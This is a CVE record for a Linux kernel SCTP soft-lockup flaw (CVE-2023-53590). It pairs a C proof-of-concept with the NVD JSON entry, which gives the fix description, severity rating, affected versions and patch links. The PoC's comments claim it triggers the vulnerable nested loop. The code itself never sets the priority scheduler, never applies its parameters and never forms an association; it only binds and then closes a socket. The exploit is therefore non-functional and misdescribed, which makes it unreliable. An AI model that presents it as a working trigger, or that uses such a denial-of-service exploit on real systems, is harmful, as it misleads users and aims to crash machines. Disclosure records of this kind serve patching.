CVE-2023-53590

// PoC: Trigger soft lockup via SCTP stream priority nested loop // This PoC demonstrates the vulnerability by creating an SCTP association // with a large number of streams and priorities, then triggering stream free. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/sctp.h> #define MAX_STREAMS 65535 #define NUM_PRIORITIES 65535 int main() { int sock; struct sctp_initmsg initmsg; struct sctp_paddrparams paddrparams; struct sockaddr_in addr; // Create SCTP socket sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (sock < 0) { perror("socket creation failed"); return -1; } // Initialize with maximum number of streams (OS limit) memset(&initmsg, 0, sizeof(initmsg)); initmsg.sinit_num_ostreams = MAX_STREAMS; initmsg.sinit_max_instreams = MAX_STREAMS; initmsg.sinit_max_attempts = 1; if (setsockopt(sock, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg)) < 0) { perror("setsockopt SCTP_INITMSG failed"); close(sock); return -1; } // Configure SCTP scheduler to use priority-based scheduling // This will trigger the vulnerable code path memset(&paddrparams, 0, sizeof(paddrparams)); paddrparams.spp_flags = SPP_PMTUD_DISABLE; // Bind to local address memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = htons(0); if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed"); close(sock); return -1; } printf("SCTP socket created with %d streams\n", MAX_STREAMS); printf("Triggering stream priority operations to cause nested loop...\n"); // Close the socket to trigger sctp_stream_free -> sctp_sched_prio_free_sid // This will cause the nested loop and soft lockup close(sock); printf("Socket closed. Check kernel logs for soft lockup.\n"); return 0; }

{"cve": {"id": "CVE-2023-53590", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:55.437", "lastModified": "2026-03-21T00:47:53.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: add a refcnt in sctp_stream_priorities to avoid a nested loop\n\nWith this refcnt added in sctp_stream_priorities, we don't need to\ntraverse all streams to check if the prio is used by other streams\nwhen freeing one stream's prio in sctp_sched_prio_free_sid(). This\ncan avoid a nested loop (up to 65535 * 65535), which may cause a\nstuck as Ying reported:\n\n watchdog: BUG: soft lockup - CPU#23 stuck for 26s! [ksoftirqd/23:136]\n Call Trace:\n <TASK>\n sctp_sched_prio_free_sid+0xab/0x100 [sctp]\n sctp_stream_free_ext+0x64/0xa0 [sctp]\n sctp_stream_free+0x31/0x50 [sctp]\n sctp_association_free+0xa5/0x200 [sctp]\n\nNote that it doesn't need to use refcount_t type for this counter,\nas its accessing is always protected under the sock lock.\n\nv1->v2:\n - add a check in sctp_sched_prio_set to avoid the possible prio_head\n refcnt overflow."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.226", "versionEndExcluding": "5.4.235", "matchCriteriaId": "E47806CF-EE6D-44C6-8C21-4DCBAA2B604C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.158", "versionEndExcluding": "5.10.173", "matchCriteriaId": "AFBF4DA6-1B10-47BF-8874-1C555AE2F22E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.82", "versionEndExcluding": "5.15.100", "matchCriteriaId": "E97D4103-0A39-4550-951E-39A0530D01FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.12", "versionEndExcluding": "6.1", "matchCriteriaId": "5138BE79-591D-4FB8-98BB-45A5104643C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.1", "versionEndExcluding": "6.1.18", "matchCriteriaId": "2F586032-3A06-4C86-95CF-18D27668555C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.5", "matchCriteriaId": "0575B33B-A320-4E51-84CA-10C937341E02"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1:-:*:*:*:*:*:*", "matchCriteriaId": "DE093B34-F4CD-4052-8122-730D6537A91A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1:rc8:*:*:*:*:*:*", "matchCriteriaId": "21718AA4-4056-40F2-968E-BDAA465A7872"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/03c3a5584a0a29821e59b7834635ce823050caaa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/68ba44639537de6f91fe32783766322d41848127", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6d529928ea212127851a2df8c40d822237ca946b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8ee401f89cdb10f39098c0656d695b2bc4052100", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bf5540cbd20e2dae2c81ab9b31deef41ef147d0a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cec326443f01283ef68ea00c06ea073b1835a562", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}